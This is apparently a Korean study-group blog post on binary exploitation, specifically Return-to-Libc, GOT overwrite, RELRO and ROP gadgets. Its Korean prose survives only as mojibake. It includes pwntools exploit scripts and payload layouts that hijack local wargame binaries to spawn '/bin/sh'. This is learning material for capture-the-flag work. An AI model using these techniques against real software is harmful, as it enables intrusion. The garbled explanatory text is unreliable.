[ASC ์คํฐ๋] 9์ฃผ์ฐจ - Return to Library(RTL)
๐ ์ง๋ ์ฐจ์
2022.08.19 - [System-hacking/๐] - [ASC ์คํฐ๋] 8์ฃผ์ฐจ - Stack Canary + Out Of Boundary
1. Return To Libc ( RTL )
์ด์ง ์ด๋ ค์ธ ์ ์๋ค !
1.1. ํจ์ํธ์ถ ๊ท์ฝ( Calling Convention )
: ํจ์๋ฅผ ํธ์ถํ๋ ๋ฐฉ์์ ๋ํ ์ฝ์
ํจ์ ํธ์ถ ๊ท์ฝ์ ์ธ์ ์ ๋ฌ ๋ฐฉ๋ฒ, ์ธ์ ์ ๋ฌ ์์, Stack Frame์ ์ ๋ฆฌํ๋ ๋ฐฉ๋ฒ์ ๋ฐ๋ผ ๊ทธ ์ข ๋ฅ๋ฅผ ๊ตฌ๋ถํ๋ค.
ํจ์ํธ์ถ๊ท์ฝ ์ฐธ๊ณ >
ํจ์ํธ์ถ๊ท์ฝ
1. ํจ์ ํธ์ถ ๊ท์ฝ ๊ฐ์ ํจ์ ํธ์ถ ๊ท์ฝ(Calling Convention)์ด๋, ํจ์๋ฅผ ํธ์ถํ๋ ๋ฐฉ์์ ๋ํ ์ฝ์์ด๋ค. ํจ์ ํธ์ถ ๊ท์ฝ์ ์ธ์ ์ ๋ฌ ๋ฐฉ๋ฒ, ์ธ์ ์ ๋ฌ ์์, Stack Frame์ ์ ๋ฆฌํ๋ ๋ฐฉ๋ฒ์ ๋ฐ๋ผ ๊ทธ ์ข
blog.kimtae.xyz
- 32bit : cdecl, stdcall, fastcall
cdecl
ํจ์ ํธ์ถ์ฉ์ผ๋ก ์คํ์ ์์ ํ๋ผ๋ฏธํฐ๋ฅผ ํธ์ถํ ํจ์(Caller)์์ ์ ๋ฆฌํ๋ ๊ท์ฝ์ด๋ค.
- 64bit : fastcall
fastcall
ํจ์์ ์ ๋ฌํ๋ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ ์ง์คํฐ๋ก ์ ๋ฌํ๋ค. ( ๋ ๋น ๋ฅด๊ฒ ํธ์ถ ๊ฐ๋ฅ )
64bit ๋ฆฌ๋ ์ค ์์คํ ์์ ์ ์๋ RDI, RSI, RDX, RCX, R8, R9. ์ค์๋ XMMO~XMM7 ๋ ์ง์คํฐ๋ฅผ ์ฌ์ฉ.
1.2. Static Linking vs Dynamic Linking
์์ค์ฝ๋ ์ปดํ์ผ => ์ค๋ธ์ ํธ ํ์ผ ์์ฑ => ๋งํน
- Static Linking
- ๋ชจ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํฌํจ
- ๋ฐ๋ก ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๊ด๋ฆฌํ ํ์๊ฐ ์์
- ํ์ผ ํฌ๊ธฐ๊ฐ ์์ฒญ ์ปค์ง
- Dynamic Linking
- ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํ๋์ ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ์ ๋งคํํด ์ฌ๋ฌ ํ๋ก๊ทธ๋จ์์ ๊ณต์ ํด์ ์ฌ์ฉ
- ํ์ผ ํฌ๊ธฐ๊ฐ ์๊ณ ์คํ์ ๋ฉ๋ชจ๋ฆฌ ๊ณต๊ฐ์ ์ ๊ฒ ์ฐจ์ง
- /lib/x86_64-linux-gnu/libc.so.6
[ OS ] 13. ๋ฉ๋ชจ๋ฆฌ ๊ด๋ฆฌ ์ ๋ต - Static Linking vs Dynamic Linking
Static Linking vs Dynamic Linking ๋จผ์ Linking (๋งํน)์ ๋ํด ์ดํด๋ฅผ ํด๋ณด์ ๋งํน์, ํ๋ก๊ทธ๋จ์ ๋น๋ํ๋ ๊ณผ์ (์ฆ ์ปดํ์ผ ๊ณผ์ ์์ ๊ฑฐ์น๋ ๋จ๊ณ) ์ด๋ค์ง๋ ๊ณผ์ ์ด๋ค. ์ด ์ ์ฒด๋ฅผ ํฌ๊ฒ ์ปดํ์ผ ๊ณผ์ ์ด๋ผ๊ณ
coder-in-war.tistory.com
1.3. PLT vs GOT
- PLT(Procedure Linkage Table)
- ์ธ๋ถ ํ๋ก์์ ๋ฅผ ์ฐ๊ฒฐํด์ฃผ๋ ํ ์ด๋ธ
- PLT๋ฅผ ํตํด ๋ค๋ฅธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์๋ ํ๋ก์์ ๋ฅผ ํธ์ถํด ์ฌ์ฉ
- ์ฆ ์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฐ๊ฒฐํด์ฃผ๋ ์ญํ
- ์ฒ์ ํธ์ถ์ด๋ผ๋ฉด '_dl_runtime_resolve' ํธ์ถ
- ์ฒ์ ํธ์ถ์ด๋ผ GOT์์ญ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ค์ ์ฃผ์๊ฐ ์จ์์ง ์๋ค
- GOT(Global Offset Table)
- PLT๊ฐ ์ฐธ์กฐํ๋ ํ ์ด๋ธ
- ํ๋ก์์ ์ ์ฃผ์๊ฐ ๋ค์ด์๋ค.
- GOT์๋ ์ธ๋ถ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฃผ์๋ฅผ ์ ์ฅํ๋ค.
( ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์ ์ฒ์ ํธ์ถ )
1. PLT ์ฐธ์กฐ
2. PLT = &got
3. _dl_runtime_resolve ํจ์ ์คํ
( ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์ ๋๋ฒ์งธ ์ดํ ํธ์ถ )
1. PLT ์ฐธ์กฐ
2. PLT = &got
3. GOT = &Library Function Address
4. ํจ์ ์คํ
1.4. GOT Overwrite
: Dynamic Link ๋ฐฉ์์ผ๋ก ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ๊ฐ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํธ์ถํ ๋ ์ฌ์ฉ๋๋ PLT&GOT๋ฅผ ์ด์ฉํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ
( PLT Overwrite๋ ์๋์? ==> PLT๋ ์ฝ๋ ์์ญ์ผ๋ก Read Only๋ผ Overwrite๊ฐ ๋ถ๊ฐ๋ฅํ๋ค. )
(์๋ฆฌ)
PLT๋ GOT๋ฅผ ์ฐธ์กฐํ๊ณ , GOT์๋ ํจ์์ ์ค์ ์ฃผ์๊ฐ ๋ค์ด์๋ค.
์ด GOT์ ๊ฐ์ ์ํ๋ ํจ์์ ์ฃผ์๋ก ๋ณ์กฐ์ํจ๋ค๋ฉด, ์๋์ ํจ์๊ฐ ์๋ ๋ณ์กฐํ ํจ์๊ฐ ํธ์ถ๋๋ค.
printf("ls -al");
printf@got -> system(); ๋ณ์กฐ
system("ls -al");
๋ฌธ์ ํ์ด1 : got_overwrite
printf -> read -> printf -> scanf -> printf ํธ์ถ
๋ง์ง๋ง printf ํจ์์์ printf("/bin/sh")์ ํ๊ณ ์์ผ๋ฏ๋ก,
printf ํจ์์ got๋ฅผ systemํจ์์ got ์ฃผ์๋ก overwriteํ๋ฉด ๋๊ฒ ๋ค.
์ฃผ์ํด์ผํ ์ : scanf("%ld") ํ์ ๋ง์ถฐ์ intํ์ผ๋ก send ํด์ผ๋๋ค.
์ต์คํ๋ก์
1. printf ํจ์์ got ์ฃผ์๋ฅผ ์์๋ธ๋ค.
2. system ํจ์์ got ์ฃผ์๋ฅผ ์์๋ธ๋ค.
3. printf ํจ์์ got ์ฃผ์๋ฅผ system ํจ์์ got ์ฃผ์๋ก ๋ฎ๋๋ค.
from pwn import *
context.log_level = 'debug'
e = ELF('./got_overwrite')
p = process('./got_overwrite')
printf_plt = e.plt['printf']
printf_got = e.got['printf']
p.sendlineafter(b'Address : ', p64(printf_got))
p.recvuntil(b'Value : ')
pause()
system_addr = int(e.symbols["system"])
print(system_addr)
p.sendline(str(system_addr))
p.interactive()
1.5. RELRO (RELocation Read-Only)
"GOT Overwrite ๊ณต๊ฒฉ์ ๋๋นํ์ฌ ELF ๋ฐ์ด๋๋ฆฌ ๋๋ ํ๋ก์ธ์ค์ ๋ฐ์ดํฐ ์น์ ์ ๋ณดํธํ๋ ๊ธฐ์ "
๋ฉ๋ชจ๋ฆฌ ํน์ ์์ญ์ ๋ฎ์ด ์ธ ์ ์๋๋ก ํ๋ค.
PARTIAL-RELRO : ctors, dtors, dynamic Section Read-Only
FULL-RELRO : got Section Read-Only ( GOT Overwrite ๋ชป ํจ )
์ปดํ์ผ ์ต์
-z norelro (NO-RELRO)
-z relro (PARTIAL-RELRO)
-z relro -z now (FULL-RELRO)
1.6. RTL (Return To Libc)
"๋ฆฌํด ์ฃผ์๋ฅผ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ด์ ์กด์ฌํ๋ ํจ์์ ์ฃผ์๋ก ๋ฐ๊ฟ NX bit๋ฅผ ์ฐํํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ"
NX bit๋ Stack, Heap ๋ฑ์ ์์ญ์ ์คํ๊ถํ์ ์ฃผ์ง ์๋ ๊ฒ์ด๋ค.
์ด์ ์ด์ ์ฒ๋ผ ์์ฝ๋๋ฅผ ์ฌ๋ ค์ ์คํํ ์ ์๋ค.
=> ๋ฉ๋ชจ๋ฆฌ์ ๋ฏธ๋ฆฌ ์ ์ฌ๋์ด ์๋ ๊ณต์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ด์ฉํ์.
๋ฌธ์ ํ์ด2 : rtl32_1
- ์ต์คํ๋ก์
payload = 'A'*sizeof(BUF)
payload += 'B'*4 # SFP (Stack Frame Pointer)
payload += p32(system) # RET
payload += 'C'*4 # dummy <- system ret
payload += p32(*/bin/sh)
system๊ณผ /bin/sh ์ฌ์ด์ dummy๋ฅผ ๋ฃ๋ ์ด์ ๋ dummy 4๋ฐ์ดํธ ์์น๊ฐ systemํจ์์ ๋ฆฌํด๊ฐ์ด๋ค.
system@plt๊ฐ ํธ์ถ๋๊ณ ๋ฆฌํด๋๋ ๊ณณ $eip = 0x43434343 (CCCC)
๋ฌธ์ ํ์ด3 : rtl64_1
- 64bit ํจ์ ํธ์ถ ๊ท์ฝ
- ํจ์์ ํ๋ผ๋ฏธํฐ๋ฅผ ์ ๋ฌํ ๋ ๋ ์ง์คํฐ๋ฅผ ์ด์ฉ
- RDI, RSI, RDX, RCX ์์ผ๋ก ๋ค์ด๊ฐ
- ex) read(0, buf, sizeof(buf))
- $RDI=0, $RSI=&buf, $RDX=sizeof(buf)
- Gadget
์ฝ๋ ์กฐ๊ฐ๋ค์ ์๋ฏธํ๋ค.
ex) pop ret; jmp eax;
๋ฆฌํด ์ด๋๋ ์ค๋ฅผ ๋ฐ๊ฟ๋ฒ๋ฆด ์ ์๋ค๋ฉด ์ฝ๋ ์กฐ๊ฐ์ ๋ฃ์ด์ ์ฒด์ด๋ ํ๋ค.
- Gadget ์ฐพ๋ ๋ฐฉ๋ฒ
- ROPgadget์ค์น
- $ROPgadget --binary [filename] | grep "pop rdi; ret"
- ์ต์คํ๋ก์
( IDA ๋ถ์ )
( ์ต์คํ๋ก์ ๊ฐ์ )
1. mainํจ์์์ Buffer Overflow ๋ฐ์
2. something()ํจ์์์ system("echo hi~") ์ํ
3. system@plt, &"/bin/sh", &pop rdi; ret; ๊ฐ์ ฏ์ ์ด์ฉํด ์ต์คํ๋ก์
from pwn import *
e = ELF('./rtl64_1')
p = process('./rtl64_1')
prdi = 0x0000000000400773 # pop rdi ; ret
binsh = 0x0000000000400794 # /bin/sh string
pay = b'A'*0x30 # ๋ฒํผ ์ฑ์ฐ๊ธฐ
pay += b'B'*8 # sfp
pay += p64(prdi) # ret
pay += p64(binsh)
pay += p64(0x4006c2) # 0x00000000004006C2
pause()
p.sendafter(b'Input > ', pay)
p.interactive()
โญ๊ณต๋ถํ ๊ฒ๋ค
1. RTL๋ฌธ์ ํ์ด ์ฐธ๊ณ , Exploit Tech: Return to Library | Dreamhack
2. Gadget